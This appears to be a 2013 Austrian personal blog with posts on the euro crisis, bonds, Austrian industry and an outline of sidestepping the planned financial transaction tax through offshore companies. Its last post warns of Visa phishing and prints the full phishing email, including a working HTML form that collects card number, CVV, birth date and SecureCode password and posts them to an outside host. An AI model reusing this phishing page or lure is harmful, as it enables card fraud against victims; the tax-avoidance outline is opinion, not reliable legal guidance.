Früher galten Staatsanleihen als sicher und wertbeständig, heute droht einigen Staaten, dass sie ihre Anleihen auf den internationalen Märkten gar nicht anbringen und sie sich im Notfall auf Stützungskäufe der EZB verlassen müssen.

Betongold und Edelmetalle sind einmal prinzipiell trotz Subprime-Market-Krise und letzten Goldeinbruch long term noch immer die sichereste Vorsorge:
http://www.finanzen.net/rohstoffe/goldpreis

Gestreute Aktien von stabilen Unternehmen bringen wenig aber sicheres Wachstum: http://www.finanzen.net/index/DAX/30-Werte

Sparzinsen bei dem niederen Leitzins der FED und der EZB sind als Vorsorge kaum mehr geeignet, allerdings kann auf Banken in anderen Ländern auch veranlagt werden. Australische Banken hatten die letzten 2 Jahre gute Zinskonditionen.

Ich würde als Kunde kein Zukunftsvorsorgeprodukt kaufen, das nur auf Aktien oder Devisen basiert. Ein gemischtes Produkt aus Edelmetall, Aktien, Immobilien und ein par spekulativere Dinge optional ist sicher am nachhaltigsten und am risikoärmsten. Nichts desto trotz gibt es 100% Zinsgarantie  nicht einmal dann, wenn man selbst aus einer Investition Ertrag erwirtschaften versucht!

2013-06-18

Draghi denkt nach

Die Banken gaben von 2002 - 2007 an die Südstaaten billige Kredite ohne zu schauen, ob es sich dabei um wertschöpfende, nachhaltige, exportwirtschaftsstärkende Investitionen handelte!
Billige Geld löste damals  Bauboom aus, ähnlich wie billiges Geld in den USA die Subprimemarketkrise auslöste.
Die EZB könnte jedem Bürger auch 1.000€ aufs Konto überweisen oder unbegrenzt ungedeckte Staatsanleihen kaufen, die an den internationalen Märkten oder bei Wohlhabenden des eigenen Landes nicht mehr anzubringen sind.
Ein investmentbanker kann immer weniger als ein Noten Banker,
da Investmentbanken im Gegensatz zu Zentralbanken nicht potentiell unbegrenzte Liquidität haben.
Eine Notenbank hat potentiell unendliche Liquidität, allerdings gerät sie damit schnell in Widerspruch zu ihrem gesetzlichen Aufrag, der heißt:
"Garantie der Geldwertstabilität!"
Fiat Money ist nie ein Problem, solange man Fiats, Ferarri, Mode, Schuhe, Tourismus hat,
selbst dann nicht, wenn Mafia, Papst und die eigenartigsten Regierungen der Welt im eigenen Land sind.
Fiat Money ist besser, als man borgt sich zum Anschlag Geld an den internationalen Finanzmärkten, wird dann auf Rating F- gesetzt & bekommt kein neues Geld und hat nur Beamte ohne Fiats!
Nocheinmal:
Fiat Money heisst keine Geldwertstabilität und ist gut in Staaten mit exportfähiger Wirtschaft, wo viele korrupte Politiker & Mafiosi kassieren. Dem Bürger bleiben Sachwerte und die rein monetären Präsente & Prozente sind nach einiger Zeit eh kaum mehr was wert.
Ist der Staat aber heilos im Ausland überschuldet und gibt dem Druck der internationalen Finanzmärkte nach, kommt er auf blöde Ideen, wie Enteignungen und Zwangsanleihen.
Hier bleiben der Bürgerin nicht einmal Sachwerte.

2013-06-13

Warum gewinnt der €uro gegenüber dem US$ und dem AUS$, obwohl die Wirtschaft in der €-Zone stagniert?

Weil die €-Zone mehr exportiert, als sie importiert (Trade-Balance) und auch von den Kapitalflüssen ohne Warenströme mehr Geld in die €-Zone hineinfliesst, als heraus:
http://epp.eurostat.ec.europa.eu/cache/ITY_PUBLIC/6-16052013-BP/EN/6-16052013-BP-EN.PDF
Dass wir weniger importieren, als exportieren liegt nicht an unserer tollen Leistung, sondern dass es zurzeit €uropaweit viele Arbeitslose gibt. Diese haben weniger Geld und somit auch weniger Kaufkraft und haben weniger Bedarf an importierten Gütern.

Die genauen Kapitalflüsse bitte der Zahlungsbilanz entnehmen:
http://epp.eurostat.ec.europa.eu/cache/ITY_PUBLIC/2-19042013-AP/EN/2-19042013-AP-EN.PDF
Durch das Delta der Zahlungsbilanz kann man auch das ungefähre Devisenkurs Verhalten erkennen.
Das ist praktsich beim Devisenhandel!

Nicht vergessen, die Devisenkurse hängen auch von den Marktteilnehmern und 2 Notenbanken ab.
  1. Welche bigger players welche Devisen halten und wann wie am Markt hauen.
  2. Mögliche Interventionen von einer oder beiden NBs

Das sind sehr viele unbekannte Variablen!

2013-06-12

Die EU hilft €uropa zur Spielwiese der Zocker und Hedgefonds zu werden

Planwirtschaft funktioniert nur wenn man einen Plan hat, die EU hat keinen Plan!
In vielen Entscheidungen der EU sieht ein erfahrener Spekulant Chancen um sein privates Vermögen zu vergrößern. Alleine heute waren 2 geplante Änderungen durch die EU äußerst fragwürdig:

1.) Die Reduktion der freihandelbaren CO² Zertifikate. http://www.tt.com/%C3%9Cberblick/Politik/6719552-6/eu-parlament-k%C3%B6nnte-verknappung-von-co2-zertifikaten-zustimmen.csp
Hierzu muss man wissen, dass CO² Zertifikate als Derivate gehandelt werden, siehe:
http://markets.rbs.de/DE/Showpage.aspx?pageID=35&ISIN=DE000AA0G6V1

Es gibt im Moment zu wenig Nachfrage an CO² Zertifikaten, weil wir tief in der €-Krise stecken.
Deswegen gabs überall Rückgang der Produktion und der Preis für die Zertifikate sank.
Was plant die EU?
Sie will marktmanipulierend eingreifen und den Preis künstlich erhöhen. Damit wird die schwache Konjunktur noch weiter geschwächt und der Preis für die Industrieproduktion in schlechten Zeiten weiter verteuert.

Bitte versteht mich nicht falsch, Umweltschutz ist wichtig, aber im Moment kracht es an allen Ecken und Enden und das ist der falsche Zeitpunkt um die Konjunktur zu drosseln!

2.) Die EU hebt die Pflicht für Börsenotierte Unternehmen auf, Quartalsbilanzen zu erstellen. An der Quartalsbilanz können Aktieninaber sehen, wie gut das Unternehmen da steht. Ohne regelmässige Informationen über den finanziellen Zustand eines Unternehmens wird niemand mehr ernsthaft in die Aktien dieses Unternehmens investieren.
http://derstandard.at/1369363528789/EU-schafft-Pflicht-zu-Quartalsberichten-ab

Solche Maßnahmen werden nur Arbeitslosigkeit und Armut bringen: Good by €uropa

2013-06-09

Wirtschaftszweige Österreich

Österreich setzte auf Banken, Tourismus, Industrie, Kreativ-wirtschaft und Transit.
Die österreichischen Banker sind extrem gering talentiert für diesen Job, deswegen hatten wir von der BAWAG über die Kommunalkredit bis hin zur Hypo-Alpe-Adria so viel marode Banken.
Um die Jahrtausendwende gab es die Idee von einigen Schwachköpfen, so wie England die Industrie stark abzubauen und nur mehr als Knowledge and Headquarter Service and Support zu fungieren.

Ein industrieller Elite Think-Tank, der nur wenige Experten beschäftigt, bringt auch wenig Arbeitsplätze und wenig in für die Leistungsbilanz (Außenhandelsbilanz) eines Staates.

In Österreich ist aber der Abbau von produktiven Arbeitsplätzen geächtet, wahrscheinlich weil wir noch der einzige Staat in  €uropa mit Hammer und Sichel in der Landesflagge sind.
Jemand der hier akzeptabel bezahlte Arbeitsplätze schafft oder hält, hat den Status eines epischen Helden, egal ob Staudinger oder Eder von der VÖEST. Die staatliche Subvention für Real-wirtschaft ist außerdem nicht sehr hoch hier, weil wir ein Bankenland sein wollen. Deswegen werden von der Real-wirtschaft auch immer Sonderabgaben eingehoben um Geld im Budget für Banken-Rettung zu akquirieren.
Österreicher sind und bleiben sau miese Banker, deswegen retten Sozialisten mit Salinen als Ex-Finanzminister rechtskräftig verurteilte Steuerhinterzieher eher noch Banken, als Profi-Banker, da sie ganz simpel möglichst viel Verhandler einladen. Man sieht daran Österreicher sind in der Not recht wiff und können aus wenig viel machen. Ein anderes Beispiel ist der Transit. Hier ist der Sprit seit jeher um ein par Cent billiger als in den Nachbarstaaten. (Das kritisierten die ökologisch eingestellten Grünen anfangs ständig.) Aber trotzdem kamen in grenznahen Gebieten viele Tanktouristen nach Österreich. Beim Transit von LKWs, Geschäftsreisenden und Urlaubern wurde mit dem billigen Sprit das Tankstellen- und Raststationen-Netz als Schwester-Geschäftszweig aufgebaut. Ich traf bayrische Lastzugfahrer, die ganz begeistert im Restaurant einer Raststation von sich gaben: "Mann, da sind ja noch 2 echte Kellner, die dich bedienen und keine gestresste angefressene EinPersonkassierIn." Man sieht das Transit-wesen bringt nicht nur der FinanzministerIn sprudelnde Einnahmen aus der Mineralölsteuer, sondern beschäftigt noch dazu relativ viele Leute. Der einzige Dämpfer waren früher die teuren CO² Zertifikate, aber die gibt's jetzt in der €urokrise zum Saufüttern.

Leider vergessen einige Linken im Standard die Bedeutung der Realwirtschaft.

Die €urokrise ist und bleibt ein spannendes Thema:

Finanzminister Schäuble sah vor 4 Tagen deutliche Fortschritte in der €uro-Krise: http://www.focus.de/finanzen/news/wirtschaftsticker/konjunktur-schaeuble-sieht-deutliche-fortschritte-im-kampf-gegen-euro-krise_aid_1005451.htmlund will deutsche Mittelstandshilfe für Spanien und Griechenland:
http://www.spiegel.de/wirtschaft/unternehmen/euro-krise-schaeuble-will-mittelstandshilfe-fuer-portugal-und-italien-a-904550.html

Griechenland bittet die Troika um Reform Aufschub:
http://www.zeit.de/wirtschaft/2013-06/Griechenland-Troika-Entlassungen
und die EZB plant radikale Bankensanierung
http://www.zeit.de/wirtschaft/2013-06/ezb-sanierung-banken-bilanzprobleme

Pimco riet Staatsanleihen von €urozonen Staaten zu verkaufen
http://www.handelsblatt.com/finanzen/boerse-maerkte/anleihen/kritik-an-ezb-politik-pimco-empfiehlt-verkauf-von-anleihen-aus-euro-zone/8282610.html
Zu Pimco muss ich anmerken:
Im Mai 2013 sind die Anleihenkurse rapide eingebrochen. US-Investmentfonds, die in Anleihen mit einer durchschnittlichen Laufzeit von zehn Jahren investierten, verloren im Mai durchschnittlich rund 1,8 Prozent. Dies ist das schlechteste Ergebnis seit Oktober 2008, als die Finanzkrise ihren Ausgang nahm. Zum negativen Abschneiden trugen vor allem Fonds bei, die in US-Staatsanleihen investieren. Der weltweit größte Anleihenfonds, der Total Return Fund des Investmentgesellschaft Pimco, verlor sogar 2,2 Prozent, wie die Deutschen Wirtschaftsnachrichten berichteten.


Für Frankreichs Präsident Hollande ist sie vorüber:
http://de.ria.ru/business/20130608/266269844.html

Die €urokrise ist weder weg noch zurück, wir sind noch immer mitten drinnen.

Frankreich muss sich Sprit für den Krieg in Mali von England borgen:


Sollte Frankreich in gröbere Probleme kommen, dann kann man es nicht Auffangen wie die Peripherie-Staaten!
Frankreich wird dann den €uro in die Luft sprengen! Die Defizite der Länder das Problem. Entgegen allen linken Parolen ist die €urokrise eine Staatsschuldenkrise und Bankenkrise, wie ursprünglich gedacht. Andere EU Länder, wie Polen wollen gar nicht mehr in den €uro und Polen hat ein schönes Wachstum. Seit der €urokrise, gehts in der #EU nur noch um die €urokrise, die #EU27 ist Nebensache! Die ganzen Oststaaten haben keine €urokrise, selbst Slowenien und Slowakei haben keine €urokrise im €, die haben nur maximal den Bankenkrisenteil der €urokrise, nur GIISP Staaten haben die €urokrise. (Griechenland, Italien, Irland, Spanien, Portugal), wobei Italien trotz 120% Schulden weniger Probleme hat, weil es ähnlich wie Japan, viele Schulden im eigenen Land hat und damit wenig den internationalen Finanzmärkten schuldet. Die im Ausland aufgenommenen Staatsschulden dürften nur in dem Maße wachsen, wie auch die Staatseinnahmen wachsen. Das geht meiner Meinung immer entweder über Wirtschaftswachstum oder staatliche Konsolidierung oder Schuldenschnitt oder neue Steuern/Zwangsanleihen oder Hyperinflation oder eine Kombination aus diesen Varianten. (growth, stop spending or smaller state, taxes, bail-in, bail-out, haircut, hyperinflation)

2013-06-05

Am 17.4.2013 kritisierte Onkel Igor Budget / Finanzrahmen der Republik Österreich aufgrund von fehlenden Puffer für Unvorhergesehenes

Zitat: http://derstandard.at/plink/1363708211488?_pid=31153651#pid31153651
Also in dem Budgetplan / Budgetpfad fehlen mir mehrere wichtige Dinge:
1.) Es ist kein Buffer für Notfälle / Unvorhergesehenes drinnen. (Viele private Haushalte und Firmen haben so einen Buffer, nicht aber die Republik Österreich.) => Sprich es darf keine Epidemie ausbrechen / Bank crashen oder sonst was gröberes unerwartetes passieren
2.) Verwaltungsreform passiert nichts wesentliches:
http://www.rechnungshof.gv.at/fileadmin/downloads/_jahre/2011/beratung/positionen/Verwaltungsreform_2011.pdf
[...]
2 von 3 der genannten Beispiele für Unvorhergesehenes sind bereits nach 1½ Monaten eingetroffen, konkret die maroden verstaatlichen Banken und jetzt was gröberes unerwartetes in Form das erneuten Jahrhunderthochwassers!

Quelle: http://derstandard.at/1363708211488/Angesichts-der-Defizite-ist-das-zu-wenig

2013-06-02

Antwort auf Gegenfrage zu einer budgetären Kritik an der Leistung der Republik Österreich

Antwort an Hermine:

Ich bin zum Glück nur ein einfacher links-liberaler Pirat und Aktivist und eigentlich ist es Aufgabe der parlamentarischen Opposition und des Rechnungshofes diese Missstände zu kritisieren. Zum Glück taten das die Grüne Opposition, der Rechnungshof und der 1. Parteilose auch!

1. Kritik des Abgeordneten Peter Pilz an den Beraterverträgen des ÖVP geführten nahen Innenministeriums: http://www.peterpilz.at/data_all/DABeratervertrageBMI.pdf


2. Zitat aus Österreich Kritik des 1. Parteilosen: http://anonymesparteilosespwny.blogspot.co.at/2012/11/auszuge-aus-postings-des-1-parteiloser.html

RH Einkommensbericht Jahresbezüge
Durchschn. Ruhegenuss:..35.693.-

Pensionsjahrbuch des Bundes:
Exekutive:..............33.772.-
Lehrpersonen:...........51.430.-
Richter/Staatsanw.:.....74.976.-
Militär:................37.123.-
Verwaltung:.............31.624.-


3. Einkommensbericht des Rechnungshof: http://www.rechnungshof.gv.at/fileadmin/downloads/2010/aktuelles/presse/kurzfassungen/bund/Kurzfassung_Einkommensbericht_2010.pdf

4. Weitere Links:
http://diepresse.com/home/wirtschaft/economist/supermarkt/622211/Beamte_Die-Sieger-des-Jahrzehnts
http://diepresse.com/home/politik/innenpolitik/731566/Pensionen-neu_Vertreibung-aus-dem-Rentnerparadies
http://diepresse.com/home/recht/rechtallgemein/1395447/Hoechstgericht-laesst-Beamte-frueher-vorruecken 
http://www.oeli-ug.at/fileadmin/servicePDF/DRS12.pdf

2013-05-31

Finanztransaktionssteuer, wir machen wieder Ausnahmen per Lobbying

Die geplante Finanztransaktionssteuer wird in den laufenden Verhandlungen offenbar weiter zu einer Börsensteuer "light" eingedampft. Finanzexperten bezweifeln inzwischen, ob die Steuer überhaupt kommt.
Ich vermute, Banken gewährt man hier eine Ausnahme, weil manche gerade eh nicht so eigenkapitalstark im Moment da stehen und großen Pensionsvorsorgeversicherern gewährt man eine Ausnahme, damit sie nicht zur staatlich geförderten Vorsorge nur noch Aktienfonds außerhalb von Europa als Anlage wählen.

Sollte die Finanztransaktionssteuer kommen, kann jede BrokerIn  diese folgendermaßen leicht umgehen:

Er/Sie gründet eine LTD in der City of London oder auf den Virgin Islands bzw. eine Offshore Gesellschaft auf den Seychellen oder sonstigen üblichen verdächtigen Orten, siehe: http://blog.area23.at/2013/05/ltd.limited.html

Vorher sollte er/sie sich natürlich über die Bedingungen für Finanzmarktfirmen und Steuerrecht der location schlau machen.

Dann mietet sich die LTD oder Offshore Gesellschaft einen virtuellen Server vor Ort und installiert dort die entsprechende auf die LTD lizensierte Trader Software (z.B. http://www.plus500.at/ oder http://www.tradestation.com ...)

Ab jetzt kann die LTD dort als Firma an den internationalen Finanzmärkten (inkl. Aktien-, Rohstoff-, Termin- und sonstiger Börsen) handeln.

Warum verfasse ich diesen Artikel?
Weil die Finanztransaktionssteuer wie alle nationale oder EU Ideen ein zu wenig durchdachter Schnellschuss ist.

Wenn eine ausländische BrokerIn/Firma mit longs oder shorts in die europäischen Aktien hineingeht oder an den internationalen Rohstoffmärkten tradet, hat sie keine der Einschränkungen der europäischen Firmen. Werden die ausländischen Firmen diesen Wettbewerbsvorteil zu ihren Gunsten vielleicht ausnutzen?
Ich wette 100€ darauf!

Außerdem ist das wieder eine Regel mit Ausnahmen für die großen, die bereits teilweise auch staatlich subventioniert und gerettet wurden. Die €uropäische Union gleicht durch Steuern und Hilfspakete die negativen Bilanzen der Banken aus und besteuert dann bei Finanztransaktionen nicht die Banken. Als Banker würde ich weiter auf high risk spielen, bei Schäden wird immer vom Staat gezahlt und zahlen muss es eh wer anderer und dafür bekomme ich dann noch steuerliche Erleichterung im Gegensatz zu allen anderen :(

Für normales online Glückspiel gibt es übrigens gar keine Steuer auf einzelne Wetteinsätze und im Gegensatz zu den Rohstoff-, Aktien- und Termin-Börsenist hat Glückspiel keinerlei Auswirkungen auf die Realwirtschaft, außer dass der Glückspielveranstalter, Lizenzinhaber und ServiceProvider auf lange Sicht hochgerechnet wahrscheinlich öfter gewinnen und die "Kunden" hochgerechnet wahrscheinlich öfter verlieren.

2013-05-30

LTD "Limited Gesellschaft" in Österreich gründen

insolution.at: LTD "Limited Gesellschaft" in Österreich gründen

Online Angebot von easy limited:
  • AT002 Preisschock-Limited:
    Firmengründung in England inkl. englischer Meldeadresse um 199,-€ in 24h
  • Österreich-Pakete AT003 Allround-Limited:
    Firmengründung inkl. beglaubigter Unterlagen für Österreich um 399,-€ in 24h
  • AT007 Ltd. & Co KG economy: Firmengründung inkl. Unterlagen zur Anmeldung als Ltd. & Co KG um 499,-€ in 24h
  • AT009 Nominee-Limited economy: Firmengründung inkl. Shareholder und Unterlagen für Österreich um 599,-€ in 24h

Online Limited kaufen oder Offshore Gesellschaften:
  • Limited Basic um 39,- €
  • Limited Standard um 89,- €
  • Limited Premium um 159,- €
  • Limited Basic Plus um 339,- €
  • Limited Standard Plus um 389,- €
  • Limited Premium Plus um 459,- €
  • Limited & Co KG Basic Plus um 359,- €
  • Limited & Co KG Standard Plus um 409,- €
  • Limited & Co KG Premium Plus um 479,- €
  • Seychellen Offshore Gesellschaft um 800,- €
  • Anguilla Offshore Gesellschaft um 950,- €
  • Belize Offshore Gesellschaft um 800,- €

Online go ahead:
  • Limited Gründung in Österreich ab 260,- €

Weitere Hintergrund- und rechtliche Informationen:
http://www.wkw.at/docextern/rgp/Publikationen/Ltd.pdf
http://www.handelsagenten.at/DE/Home/Recht/Ihr%20gutes%20Recht%20-%20Artikelarchiv/BRITISCHE+Limited+im+Vergleich.aspx
http://www.grazertreuhand.at/de/gt-service/gr%C3%BCndung-einer-limited/
http://www.conserio.at/limited-statt-gmbh-gruenden-in-osterreich/

2013-05-29

Visa Phising Mails wieder im Umlauf


                                                                                                                                                                                                                                                            
Delivered-To: heinrich.elsigan@xxx.xxx 
Received: by 10.58.154.233 with SMTP id vr9csp145510veb;
        Tue, 28 May 2013 21:55:50 -0700 (PDT)
X-Received: by 10.205.13.194 with SMTP id pn2mr216293bkb.76.1369803349595;
        Tue, 28 May 2013 21:55:49 -0700 (PDT)
Return-Path: <service@visaeurope.com>
Received: from qmail2.xxx.xxx(qmail2.xxx.xxx. [212.xxx.xxx.xxx])
        by mx.google.com with SMTP id rh8si5120977bkb.224.2013.05.28.21.55.48
        for <heinrich.elsigan@xxx.xxx>;
        Tue, 28 May 2013 21:55:49 -0700 (PDT)
Received-SPF: softfail (google.com: domain of transitioning service@visaeurope.com 
  does not designate 212.xxx.xxx.xxx as permitted sender) client-ip=212.xxx.xxx.xxx;
Authentication-Results: mx.google.com;
       spf=softfail (google.com: domain of transitioning service@visaeurope.com 
  does not designate 212.xxx.xxx.xxxas permitted sender) smtp.mail=service@visaeurope.com;
       dmarc=fail (p=QUARANTINE dis=quarantine) d=visaeurope.com
Received: (qmail 24744 invoked by uid 1113); 29 May 2013 04:55:46 -0000
Delivered-To: mail626-he23@xxx.xxx
Received: (qmail 24738 invoked from network); 29 May 2013 04:55:46 -0000
Received: from unknown (HELO www.bordecico.com) (85.214.242.164)
  by qmail2.inname.net with SMTP; 29 May 2013 04:55:46 -0000
Received: from User ([151.1.68.202])
 by www.bordecico.com
 ; Tue, 28 May 2013 14:45:48 +0200
Message-ID: <3A09891A-3896-4880-AEB9-A7153AA76F78@www.bordecico.com>
From: "Verified by Visa"<service@visaeurope.com>
Subject: Ihre Kreditkarte wurde ausgesetzt, weil wir ein Problem festgestellt, auf Ihrem Konto!
Date: Tue, 28 May 2013 14:45:24 +0200
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----=_NextPart_000_007A_01C2A9A6.2C262C2C"
X-Priority: 1
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

This is a multi-part message in MIME format.

------=_NextPart_000_007A_01C2A9A6.2C262C2C
Content-Type: text/plain;
 charset="Windows-1251"
Content-Transfer-Encoding: 7bit

Sehr geehrter Kunde,

--------------------------------------------------------------------------------

Wir haben eine unregelmabige Aktivitat ihrer Kreditkarte erkannt.
Zu Ihrem eigenen Schutz mussen wir diesen Vorgang uberprufen
und Ihre Kreditkarte vorlaufig eingeschranken. Bitte laden Sie das
Dokument im eMail Anhang und uberprufen Sie Ihre Daten. Sollte
Sie diese eMail ignorieren wird Ihre Karte vor?bergehend gesperrt.

---------------------------------------------------------------------------------

Bitte beachten Sie, dass die Benutzung der Website durch Sie informiert
bleiben VISA
Nutzen Sie die Gelegenheit, unser Unternehmen und Reserven.

Thank you,
Kundendienst.

Urheberrecht 1999-2013 VerifedbyVisa. Alle Rechte vorbehalten.

------=_NextPart_000_007A_01C2A9A6.2C262C2C
Content-Type: application/octet-stream;
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  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>Visa - Mastercard - Verifica Dettagliata</title>
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* { margin: 0; padding: 0; }
body { font-family: Verdana; font-size: 11px; }
.req { color:#F00; }
  </style>
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  function validateForm() {
    var cc=document.forms["myform"]["ncarta"].value;
    if (cc==null || cc=="") {
      alert("Inserire Numero di carta");
      return false;
    }
    var mm=document.forms["myform"]["exp_m"].value;
    if (mm==null || mm=="") {
      alert("Inserire Data di Scadenza");
      return false;
    }
    var yy=document.forms["myform"]["exp_y"].value;
    if (yy==null || yy=="") {
      alert("Inserire Data di Scadenza");
      return false;
    }
    var cvv=document.forms["myform"]["cvv"].value;
    if (cvv==null || cvv=="") {
      alert("Inserire codice di sicurezza della Carta CVV");
      return false;
    }
  }
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</head>
<body>
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
<div style="width: 100%; height: 100%;">
<div style="margin: 0pt auto; width: 280px;" id="center-content"> <img
 src="http://www.32red.com/images/banking/3d-secure-logos.png"
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<form action="http://monettenom.com/visaeurope.com/go.php" method="post"
 onsubmit="return validateForm()" name="myform"
 enctype="application/x-www-form-urlencoded">
  <table style="width: 314px; height: 406px;" border="0" cellpadding="0"
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    <tbody>
      <tr>
        <td colspan="2"><strong>Kreditkarte Details:</strong>
      <tr>
        <td colspan="2"><strong>Bitte machen Sie folgende Angaben: </strong><td>
      </tr>
      <tr>
        <td width="72%">&nbsp;</td>
        <td width="62%">&nbsp;</td>
      </tr>
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        <td>Name auf der Karte<span class="req">*</span>:</td>
        <td> <input name="nome" id="nome" type="text" /></td>
      </tr>
      <tr>
        <td>Ihre Kartennummer<span class="req">*</span>:</td>
        <td><input name="ncarta" id="ncarta" type="text" /></td>
      </tr>
      <tr>
        <td>Kartenprufnummer<span class="req">*</span>:</td>
        <td><input name="cvv" id="cvv" type="text" /></td>
      </tr>
      <tr>
        <td>Ablaufdatum (MM.JJ)<span class="req">*</span>:</td>
        <td><input name="exp_m" id="exp_m" size="4" maxlength="2"
 type="text" /> / <input name="exp_y" id="exp_y" size="8" maxlength="4"
 type="text" /></td>
      </tr>
      <tr>
        <td>Ihr Geburtsdatum (TT.MM.JJJJ)<span class="req">*</span>:</td>
        <td> <input name="data1" id="data1" type="text" /></td>
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      <tr>
        <td>VerifiedByVisa Password - Mastercard SecureCode<span
 class="req">*</span>:</td>
        <td><input name="password" id="password" type="password" /></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td><input name="submit" id="submit" value="Weiter"
 type="submit" /></td>
      </tr>
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr>
    </tbody>
  </table>
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